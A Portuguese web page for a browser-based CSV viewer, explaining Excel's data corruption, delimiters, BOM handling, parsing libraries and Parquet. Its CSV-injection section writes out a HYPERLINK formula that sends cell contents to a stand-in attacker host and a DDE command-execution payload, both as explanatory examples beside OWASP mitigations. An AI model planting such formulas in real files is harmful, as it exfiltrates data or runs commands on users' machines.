Visualizador de CSV gratuito

Visualize, ordene e busque dados CSV instantaneamente. Suporta vários delimitadores com detecção automática. Importe ou cole texto CSV para analisar seus dados.

Importe um arquivo CSV ou cole texto CSV para começar.

Sobre os arquivos CSV

CSV (Comma-Separated Values) é um formato de texto simples para armazenar dados tabulares. Cada linha representa uma linha de dados e as vírgulas separam as colunas. O CSV é amplamente usado para a troca de dados entre aplicativos, bancos de dados e planilhas.

Características do CSV :

Como exportar dados em CSV ?

No Excel : Salvar como → CSV (separador : ponto-e-vírgula). No Google Sheets : Arquivo → Baixar → CSV. Na maioria dos bancos de dados : Exportar → formato CSV. O CSV é o formato de exportação padrão para dados tabulares.

E se meu CSV contém caracteres especiais ?

O CSV trata caracteres especiais colocando entre aspas. Campos contendo vírgulas, aspas ou quebras de linha devem ser envoltos em aspas duplas. Caracteres especiais como é, ñ ou emojis são preservados se o arquivo usar a codificação UTF-8.

Como funciona a detecção automática do delimitador ?

Esta ferramenta analisa a primeira linha do seu CSV para detectar qual delimitador aparece com mais regularidade. Para melhores resultados com delimitadores incomuns, selecione-o manualmente na lista suspensa.

Por que "ver um CSV sem Excel" é um caso de uso próprio

A resposta ingênua para "como abro um CSV?" é "clique duas vezes, o Excel abre". Essa resposta está errada para uma proporção surpreendente das pessoas que realmente precisam olhar um CSV. As razões se dividem em quatro categorias, e cada uma é motivo real para cair em um visualizador baseado em navegador como este.

1. O Excel destrói dados na abertura. O exemplo mais citado é o desastre dos nomes de genes: o Excel lê MARCH1 e escreve 1-Mar, lê SEPT2 e escreve 2-Sep. O HUGO Gene Nomenclature Committee desistiu de brigar com o Excel e renomeou vinte e sete genes humanos em 2020 tamanha era a corrupção de dados. Um artigo de PLOS Computational Biology de 2020, olhando 3.597 publicações, encontrou que cerca de um quinto dos dados genéticos suplementares havia sido silenciosamente mutilado pela autoconversão do Excel. Genes são o caso famoso, mas o mesmo mecanismo come CEPs dos EUA (01234 vira 1234), SKUs de produto com zeros à esquerda, notação de frações em música ou química (3/4, 4/4), números de série em forma de datas (1-1, 2-2), ramais telefônicos e números de conta em notação científica (9.18e+12 em vez de 9180000000000). Um visualizador, algo que mostra os bytes brutos como escritos, não é só conveniência, é uma primitiva de correção. Para verificar que uma coluna de IDs de cliente sobreviveu intacta a uma exportação, é preciso um visualizador que não analisa, não converte, não "ajuda".

2. O Excel não está na máquina. Uma parcela nada trivial dos notebooks em 2026 não tem licença do Microsoft 365. Os Chromebooks saem sem ele; muitas instalações Linux usam LibreOffice Calc com suas peculiaridades; muitos usuários de Mac abrem CSV no Apple Numbers, que quebra silenciosamente linhas longas e tem sua própria personalidade de coerção numérica. Qualquer pessoa tentando inspecionar um arquivo em uma máquina corporativa sem permissão para instalar software, num dispositivo emprestado ou em um quiosque, precisa de uma ferramenta que rode em qualquer aba de navegador sem permissões.

3. O arquivo ultrapassa o que o Excel permite. O Excel 2007 introduziu o .xlsx e elevou o teto de linhas dos 65.536 (.xls) para 1.048.576 linhas (2²⁰). O teto de colunas saiu de 256 para 16.384 (2¹⁴). Por duas décadas isso bastou à maioria. Já não basta a muita gente. Um log de servidor modesto produz dois milhões de linhas em uma semana. Uma exportação anual de pedidos do Shopify de uma loja média pode passar de um milhão. Um sensor amostrando a 1 Hz produz 86.400 linhas por dia; um ano dá 31,5 milhões. O tratamento do estouro pelo Excel é brutal: ele trunca silenciosamente na linha 1.048.576 e segue como se nada fosse. Não há banner de aviso. O usuário descobre as linhas faltantes semanas depois, se descobrir.

4. Mobile. Apps de planilha em iOS e Android são cidadãos de segunda classe. O app móvel do Excel existe, mas está atrás de uma conta Microsoft, oferece um subconjunto pequeno das funções de desktop e é incômodo para inspecionar tabelas largas no celular. Às vezes você só quer abrir um anexo que um colega mandou por e-mail, olhar algumas linhas, dar um print e responder. Um visualizador de CSV que carrega num navegador móvel, formata os dados como tabela HTML rolável e não faz mais nada é a melhor ferramenta para esse trabalho.

E um quinto caso, menor: print para uma mensagem. Muitas vezes o que a pessoa realmente quer é um visual limpo de três ou quatro linhas para colar no Slack, num ticket, numa resposta de e-mail. Abrir o arquivo no Excel e printar dá uma imagem com faixa de opções, grade, seletor de célula ativa e barra de caminho do arquivo, vinte por cento do print ocupado pela interface do Excel. Uma tabela HTML pelada renderizada num navegador é o objeto de print mais limpo possível.

Uma breve história (as partes que importam para a visualização)

A história completa do CSV está na página complementar text-to-csv: Fortran da IBM em 1972, décadas de uso informal, a RFC 4180 finalmente publicada em outubro de 2005 por Yakov Shafranovich, o tipo MIME text/csv registrado na IANA, o W3C Model for Tabular Data and Metadata on the Web (CSVW) atingindo o status de W3C Recommendation em 17 de dezembro de 2015 (e na prática ignorado). O que importa para a visualização é que nenhum desses documentos especifica como mostrar um CSV. Não há largura de coluna canônica, nem convenção de alinhamento, nem regra sobre se a linha 1 é cabeçalho. A RFC 4180 diz a quem escreve como escapar vírgulas; não diz nada a quem lê sobre como renderizar. O trabalho do visualizador é não especificado.

O que temos são convenções vindas dos editores de planilha (texto à esquerda, números à direita, primeira linha fixa, cores alternadas de linha para legibilidade) e convenções das tabelas web (cabeçalhos ordenáveis, posicionamento sticky, campos de busca acima da grade). Um visualizador moderno de CSV é essencialmente uma UI de planilha sem a edição.

Os truques do separador de locale e do BOM

O caos do separador de locale que morde quem escreve CSV também morde quem lê: vírgula em en-US, ponto e vírgula em fr-FR / de-DE / it-IT / es-ES / pt-BR, tab e pipe em outros lugares. Um visualizador que cravou a vírgula e renderiza um "CSV" francês como uma única coluna por linha já chega quebrado. O padrão "Auto-detecção" com override manual desta ferramenta é o design certo: tentar a coisa esperta, mas quando a heurística falha (e vai falhar, em arquivos com uma única coluna cujos valores contêm vírgula), o usuário pode escolher.

O byte-order mark, os três bytes EF BB BF no início de um arquivo UTF-8, codificando U+FEFF, existe porque o Excel no Windows se recusa a detectar UTF-8 sem ele. Um escritor de CSV educado prefixa o BOM para ficar Excel-friendly; o custo cai sobre todos os outros leitores. Quase toda ferramenta de linha de comando, awk, cut, head, tail, o sed antigo, trata o BOM como parte do primeiro campo. Um cabeçalho que deveria ser name é lido name. O módulo csv embutido do Python não remove o BOM a menos que o arquivo seja aberto com o codec utf-8-sig; um milhão de tutoriais usa apenas utf-8 e silenciosamente produz parsers quebrados. Se você vê um caractere estranho antes do primeiro cabeçalho de coluna, isso é um byte-order mark UTF-8, não um bug no arquivo, só um descompasso entre codificador e decodificador.

As quatro variantes "CSV" do Excel

A caixa Salvar como do Excel oferece quatro formatos "CSV", e os rótulos enganam. Os rótulos "Comma delimited" usam, na verdade, o separador de lista do locale do usuário, que é ponto e vírgula em boa parte da Europa continental e da América Latina.

Um visualizador que queira "simplesmente funcionar" em toda variante precisa detectar codificação (UTF-8 ± BOM, UTF-16 com BOM, Windows-1252, ISO-8859-1, MacRoman, Shift_JIS, GBK), terminadores de linha (CRLF / LF / CR), separador (vírgula / ponto e vírgula / tab / pipe / customizado), estilo de aspas (RFC 4180 aspas duplas duplicadas, barra invertida, nenhum) e presença de cabeçalho. Detectar tudo isso de forma confiável é genuinamente difícil. A abordagem pragmática: detecte o que dá, exponha overrides manuais para o resto e nunca falhe em silêncio. Esta ferramenta expõe o delimitador manualmente, o que cobre a surpresa mais comum. Ainda não expõe a codificação, um CSV francês exportado como Windows-1252 com acentos vai mostrar mojibake (é em vez de é) até existir um override apropriado.

Parsing no navegador, as bibliotecas

A biblioteca CSV cliente dominante é a PapaParse, criada por Matt Holt em 2013 e com cerca de 13,4k estrelas no GitHub. O slogan, "the fastest in-browser CSV parser", não é exagero. É compatível com a RFC 4180, licenciada sob MIT, sem dependências, e suporta parsing síncrono de string, parsing assíncrono de arquivo via FileReader, parsing em pedaços para arquivos maiores que a RAM e parsing em worker thread para manter a UI responsiva. PapaParse é o padrão em qualquer ferramenta CSV no navegador, salvo razão específica em contrário.

No Node, a escolha canônica é a csv-parse (Adaltas, primeira versão em 2010), testada em produção, expondo APIs de callback e de stream. csv-parser de mafintosh prioriza throughput bruto em vez de amplitude de funções. fast-csv (C2FO) é uma dupla parser-formatter em TypeScript para times que querem leitura e escrita na mesma biblioteca.

Streaming para arquivos maiores que a RAM

A leitura ingênua de CSV no navegador usa FileReader.readAsText(file), que carrega o arquivo inteiro na memória antes de invocar onload. Para um arquivo de cem megabytes, são cem megabytes de heap JavaScript. Para um de um gigabyte, a aba do navegador fica sem memória ou trava na maioria do hardware de consumo.

A alternativa moderna é a Streams API, disponível como File.prototype.stream() desde Chrome 71 e Firefox 65. Chamar file.stream() retorna um ReadableStream<Uint8Array> que entrega os bytes do arquivo em pedaços. O consumidor lê do stream, decodifica cada pedaço com TextDecoder (com a flag stream: true para que sequências UTF-8 multi-byte que atravessam fronteiras de pedaço sejam corretamente costuradas) e alimenta o texto para um parser em stream. PapaParse pode consumir um stream diretamente via callback step ou chunk. O resultado é parsing com memória constante de arquivos arbitrariamente grandes.

Para um visualizador, só streaming não basta, a tabela renderizada também precisa ser virtualizada, senão renderizar dez milhões de elementos <tr> derruba a página mesmo que o parsing tenha dado certo. O padrão de arquitetura: stream-parse para IndexedDB ao carregar, render virtualizado a partir do IndexedDB no scroll. Esta ferramenta está atualmente otimizada para arquivos nas dezenas baixas de megabytes, para o fluxo típico "eu só quero olhar este arquivo" que cobre quase todo mundo. Para CSV de múltiplos gigabytes, veja ferramentas de desktop como Visidata, a cláusula FROM do CLI do DuckDB ou o csvlook da csvkit.

Ordenar, filtrar, pivotar, o cenário das grids JavaScript

Com os dados na página, o usuário quer fazer três coisas: ordenar por coluna, filtrar linhas, às vezes pivotar. Existe toda uma indústria de bibliotecas JavaScript que reimplementa isso no DOM do navegador:

Especificamente para pivotar, PivotTable.js de Nicolas Kruchten é a biblioteca JS mais citada; o modo pivot do AG Grid Enterprise é a escolha comercial. Pivot é uma operação pesada, muitas vezes mais bem servida exportando os dados para uma ferramenta que possa indexá-los primeiro.

CSV contra Apache Parquet para cargas analíticas

A razão pela qual o CSV sobrevive é cultural e inercial, não técnica. Para analytics sério, o formato que devorou o almoço do CSV é o Apache Parquet, um formato colunar binário desenvolvido em conjunto por engenheiros do Twitter e da Cloudera em 2013, aceito como projeto top-level da Apache Software Foundation em 27 de abril de 2015. O Parquet guarda os dados coluna a coluna em vez de linha a linha, essa inversão é o que importa para analytics: uma consulta como SELECT AVG(price) FROM big_table lê só a coluna price do disco, pulando todas as demais. Com CSV, a mesma consulta precisa ler cada byte do arquivo.

Parquet também carrega metadados de esquema (os tipos são explícitos, não inferidos), usa compressão colunar que rotineiramente atinge razões de 5-10x sobre CSV não comprimido e dá suporte a predicate pushdown para que os motores pulem grupos inteiros de linhas com base em estatísticas de coluna. É o formato padrão em Snowflake, BigQuery, Databricks, Amazon Athena e praticamente todo data warehouse e lakehouse cloud moderno. Se você está consultando repetidas vezes o mesmo arquivo na escala de gigabytes, considere o Parquet, é mais rápido e menor e quase toda ferramenta de dados moderna o lê de forma nativa. O CSV hoje é mais bem entendido como o formato de intercâmbio entre humanos e a cauda longa do software de consumo, enquanto o Parquet é o formato de armazenamento entre máquinas.

Injeção CSV, o ângulo de segurança

A injeção CSV, às vezes chamada de injeção de fórmula, é o ataque em que um valor numa célula CSV começa com =, +, - ou @, fazendo o Excel e o Google Sheets interpretarem aquilo como fórmula ao abrir o arquivo. A OWASP documenta isso pelo menos desde 2014. O exemplo de manual é =2+5 aparecendo como 7 em vez do texto literal. O exemplo perigoso é =HYPERLINK("https://evil.example/log?d="&A1, "Click for results") que, ao ser clicado, exfiltra o conteúdo da célula A1 para um atacante. O exemplo realmente perigoso era =cmd|'/c calc'!A0, que em certas versões do Excel podia executar comandos arbitrários via DDE, substancialmente mitigado pelas mudanças de DDE padrão da Microsoft em 2018, mas ainda presente em algumas configurações.

A mitigação padrão, segundo a OWASP: ao gerar um CSV a partir de texto enviado pelo usuário, prefixe qualquer célula que comece com =, +, -, @, tab ou retorno de carro com uma aspa simples. Um visualizador é o lado receptor desse ataque, não o emissor, mas se você abriu aqui um CSV com células prefixadas por fórmula, é uma pista forte de não abrir o mesmo arquivo no Excel sem antes substituir essas células. Todo o sentido de inspecionar antes em um visualizador é pegar exatamente esse tipo de armadilha.

Onde, na vida real, as pessoas abrem esse tipo de visualizador

Mais perguntas

Que tamanho de arquivo isso consegue abrir?

A implementação atual fica confortável com arquivos nas dezenas baixas de megabytes, daqueles que cabem facilmente na memória do navegador e renderizam como tabela HTML razoável. Para arquivos de centenas de megabytes ou mais, a página fica lenta; para gigabytes, a aba pode ficar sem memória e cair. Para CSV muito grandes, veja ferramentas de desktop como Visidata, o csvlook da csvkit ou o FROM 'file.csv' do CLI do DuckDB.

Por que meu CSV aparece como uma única coluna gigante?

A detecção automática do delimitador errou. É o caso mais comum quando o arquivo usa ponto e vírgula (boa parte da Europa continental), tab (TSV rotulado como CSV) ou pipe (algumas exportações de banco). Troque o dropdown Delimitador para o caractere correto, muitas vezes a extensão do arquivo e o conteúdo real divergem.

Meus caracteres acentuados saem como bagunça. O que houve?

Descompasso de codificação, o arquivo está em Windows-1252 (ou outra codificação não-UTF-8) e a ferramenta interpreta como UTF-8. O sintoma clássico é é aparecendo como é. O visualizador atual não expõe override de codificação, mas você pode resalvar o arquivo como UTF-8 em qualquer editor de texto moderno (Notepad++, VS Code, BBEdit, gedit, até o Notepad recente do Windows) e reabrir aqui.

Devo usar isto ou simplesmente abrir no Excel?

Se seu CSV só contém dados que o Excel não consegue corromper por acidente, colunas de texto em prosa pura, inteiros normais em uma faixa comum, datas no formato que o Excel espera, o Excel está bom e suas ferramentas de edição são mais ricas. Se seu CSV contém qualquer coisa que o Excel possa reescrever (nomes de genes, CEPs com zero à esquerda, frações como 3/4, strings em forma de notação científica, qualquer coisa que precise ser preservada byte a byte), abra antes num visualizador para confirmar o que de fato está lá, antes de deixar o Excel encostar. A hora que você gasta abrindo aqui custa muito menos que descobrir uma semana depois que o Excel renomeou seu conjunto de genes.

Ferramentas relacionadas

Conversor de CSV para JSON Conversor de JSON para CSV Visualizador de planilhas gratuito